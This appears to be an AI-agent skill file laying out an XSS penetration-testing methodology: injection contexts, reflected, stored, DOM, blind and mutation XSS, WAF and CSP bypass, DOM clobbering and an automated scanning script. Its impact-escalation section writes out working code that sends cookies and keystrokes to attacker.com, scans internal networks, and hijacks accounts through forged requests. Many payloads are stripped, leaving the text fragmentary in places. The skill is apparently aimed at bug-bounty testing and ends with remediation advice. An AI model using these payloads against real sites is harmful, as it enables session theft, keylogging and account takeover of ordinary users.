--- name: xss-hunter description: Complete XSS testing methodology — reflected, stored, DOM-based, blind, and mutation XSS, CSP bypass, DOM clobbering, filter/WAF evasion, and impact escalation. Use when testing for XSS, finding the right payload for an injection context, or bypassing a filter, WAF, or Content-Security-Policy. license: MIT metadata: version: "0.0.1" author: Rifteo tags: ["pentest", "xss", "web", "csp-bypass", "dom-clobbering", "waf-evasion", "bug-bounty"] --- # XSS Attack Methodology XSS occurs when user-controlled input is rendered in a browser without proper sanitization or encoding, allowing arbitrary JavaScript execution in the victim's context. **Before testing anything — understand the injection context:** The payload you need depends entirely on *where* your input lands in the page source. Always view source or open DevTools after injecting a canary string (`xsstest123`) to locate where it appears. ``` HTML body:

xsstest123

→ User-Agent: X-Forwarded-For: X-Original-URL: /"> ``` ### 1.4 JSON / API Responses rendered in UI - API response fields that get injected into the DOM via `innerHTML` - Username, display name, bio, address fields stored in API and rendered later ### 1.5 File Uploads - Upload an SVG with embedded JS: `` - Upload HTML file if allowed - Filename itself: `">

.png` ### 1.6 DOM Sources (for DOM XSS) ```javascript // Sources — user-controlled entry points into JS location.href / location.search / location.hash document.referrer document.URL window.name postMessage data localStorage / sessionStorage (if populated from URL) ``` --- ## Attack 1 — Reflected XSS **What:** Input is reflected in the HTTP response immediately without being stored. **Step 1 — Inject a canary to locate reflection:** ``` GET /search?q=xsstest123 ``` View source → find `xsstest123` → note the surrounding context. **Step 2 — Choose payload for context:** ```html

" onmouseover="alert(document.domain) " autofocus onfocus="alert(document.domain) ">

";alert(document.domain)// '-alert(document.domain)-' \';alert(document.domain)// ${alert(document.domain)} javascript:alert(document.domain) data:text/html, ``` **Step 3 — Confirm:** observe alert box with `document.domain`. Always use `document.domain` (not `1`) to prove the execution origin. --- ## Attack 2 — Stored XSS **What:** Input is saved server-side and rendered to other users — higher impact than reflected. **High-value injection points:** - Comment/review fields - Profile fields (name, bio, address, job title) - Chat / messaging features - Support ticket subject/body - Product/listing names and descriptions - Notification text - File/folder names in cloud storage UIs **Testing approach:** 1. Inject a payload in the field and save 2. View the page as a *different user* (or in a fresh session) 3. If payload executes — confirm stored XSS **Persistent payload (survives page reload):** ```html

https://target.com/page?returnUrl=javascript:alert(1) ``` 3. Search JS files for dangerous sinks and trace data flow back to sources **Hunt for DOM XSS in JS files:** ```bash # Find innerHTML/eval usage in JS bundles curl -s https://target.com/app.js | grep -E "innerHTML|outerHTML|document\.write|eval\(|setTimeout\(|location\.href" # Use Burp DOM Invader (embedded browser extension) # Use dalfox with --deep-domxss flag dalfox url "https://target.com/search?q=test" --deep-domxss ``` --- ## Attack 4 — Blind XSS **What:** The XSS fires in a context you cannot directly observe — admin panel, internal dashboard, log viewer, support ticket system, PDF renderer, email client. **Strategy:** use an out-of-band callback payload that phones home when it executes. **Payload with full context capture:** ```javascript // Self-contained OOB payload — captures URL, cookies, DOM, IP ``` **Compact versions for length-limited fields:** ```html

``` **Tools for blind XSS:** - **XSS Hunter** (xsshunter.trufflesecurity.com) — generates unique payloads per target, captures full page screenshot + DOM + cookies when fired - **Burp Collaborator** — simple OOB DNS/HTTP callback - **interactsh** — open-source OOB server: `interactsh-client` generates a unique URL **Where to inject blind XSS:** - Support ticket / bug report forms - Feedback widgets - User-agent or X-Forwarded-For headers (logged in dashboards) - Order notes / shipping address (rendered in admin order view) - Username (may appear in audit logs or admin user list) --- ## Attack 5 — Filter & WAF Evasion When basic payloads are blocked, work through these techniques systematically. ### 5.1 Case Variation ```html

``` ### 5.2 Tag Alternatives (when `\x3csVg/

``` ### 6.3 `script-src-elem` vs `script-src` mismatch Some browsers fall back differently — try `"> ``` ### 6.6 Nonce/hash leak If `script-src 'nonce-abc123'` is used: - Check if the nonce is static (doesn't change per request) - Check if nonce is reflected elsewhere in the page - Check if nonce is predictable --- ## Attack 7 — Mutation XSS (mXSS) **What:** The browser's HTML parser mutates apparently safe markup into something executable when assigned via `innerHTML`. **Classic mXSS payload:** ```html

```

**When to try mXSS:** when the app uses DOMPurify <= 2.0.x or any HTML sanitizer, and basic XSS is blocked. Browser mutation can sometimes reconstruct executable HTML from "safe" input.

---

## Attack 8 — DOM Clobbering

**What:** Named HTML elements (`id`, `name`) overwrite JS global variables or properties, causing unsafe behavior when the code later uses those variables.

**Basic clobbering:**
```html ```

**Double clobbering (clobber a property of a property):**
```html ```

**When to use:** when JS references `window.X` or `document.X` that isn't explicitly declared, and those values are used in security decisions or URL construction.

---

## Attack 9 — Impact Escalation

After confirming XSS executes, demonstrate real-world impact.

### 9.1 Cookie Theft (Session Hijacking)
```javascript
// Exfiltrate cookies
fetch('https://attacker.com/steal?c=' + btoa(document.cookie))

// Via image (no CORS)
new Image().src = 'https://attacker.com/steal?c=' + encodeURIComponent(document.cookie)

// Via XSS Hunter payload (captures everything)
```

### 9.2 Credential Harvesting (Phishing via XSS)
```javascript
// Inject fake login overlay on the page
document.body.innerHTML = ` Session expired — please log in again Login `;
```

### 9.3 Keylogging
```javascript
document.addEventListener('keydown', e => {
  fetch('https://attacker.com/keys?k=' + encodeURIComponent(e.key));
});
```

### 9.4 CSRF via XSS (bypass SameSite / CSRF tokens)
```javascript
// XSS can read the CSRF token from the page, then use it
const token = document.querySelector('[name=csrf_token]').value;
fetch('/api/admin/delete-user', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json', 'X-CSRF-Token': token},
  body: JSON.stringify({user_id: 1})
});
```

### 9.5 Account Takeover via XSS
```javascript
// Change victim's email/password using their authenticated session
fetch('/api/account', {
  method: 'PATCH',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({email: 'attacker@evil.com', password: 'hacked123'})
});
```

### 9.6 Internal Network Scanning (pivot via XSS)
```javascript
// Scan internal IPs from victim's browser
['192.168.1.1','192.168.1.254','10.0.0.1'].forEach(ip => {
  fetch(`http://${ip}/`, {mode: 'no-cors'})
    .then(() => fetch('https://attacker.com/?alive=' + ip));
});
```

---

## Quick Recon Checklist

Before injecting payloads, run this:

```bash
# 1. Find all parameters with Wayback/gau
gau target.com | grep "=" | sort -u

# 2. Check CSP header
curl -s -I https://target.com | grep -i "content-security-policy"

# 3. Automated parameter discovery
paramspider -d target.com

# 4. Fast XSS scan (dalfox)
dalfox url "https://target.com/search?q=test"

# 5. Check response headers for X-XSS-Protection (legacy)
curl -s -I https://target.com | grep -i "x-xss"

# 6. JS file audit — find dangerous sinks
cat app.js | grep -E "innerHTML|document\.write|eval\(|location\.href\s*="
```

---

## Report Structure

```
Title: [Stored/Reflected/DOM] XSS on [endpoint/feature]

Severity: [Critical (stored+admin), High (stored), Medium (reflected), Low (self-XSS)]

Affected endpoint: [METHOD] [URL] — parameter: [name]

Steps to reproduce:
1. [Setup: log in as X, navigate to Y]
2. Inject the following payload into [field]: [PAYLOAD]
3. [Trigger: submit form / visit URL / wait for admin to view]
4. Observe: JavaScript executes — alert shows [document.domain]

Impact:
- [Describe: cookie theft / session hijack / account takeover / CSRF]
- [Affected users: all visitors / admin users / specific role]

Evidence:
- Screenshot of alert box showing document.domain
- HTTP request/response showing reflection or storage
- For stored: show two different sessions — inject + trigger

Remediation:
- Encode all user output for its context (HTML encode for HTML, JS encode for JS)
- Use textContent instead of innerHTML where possible
- Implement a strict Content-Security-Policy
- Use a security-tested sanitizer (DOMPurify) for HTML rendering
- Set HttpOnly on session cookies to limit theft impact
```

---

## Scripts

### `scripts/xss_agent.py`
Requires: `pip3 install requests`

```bash
# Reflected XSS — Bearer token auth
python3 scripts/xss_agent.py https://target.com \
  --token "eyJ..." \
  --params "/search?q=FUZZ" "/profile?name=FUZZ"

# Reflected XSS — Cookie auth
python3 scripts/xss_agent.py https://target.com \
  --cookie "session=abc" \
  --params "/search?q=FUZZ"

# Stored XSS test
python3 scripts/xss_agent.py https://target.com \
  --token "eyJ..." \
  --submit-endpoint /api/comments \
  --display-endpoint /comments \
  --field body \
  -o report.json
```

The script automatically: checks CSP headers → injects a canary to find reflection → detects context (HTML body / attribute / JS string) → selects matching payloads → confirms execution → outputs a JSON report.

---

## Reference Files

- `references/payloads.md` — payload list by context
- `references/tools.md` — dalfox, XSStrike, Burp usage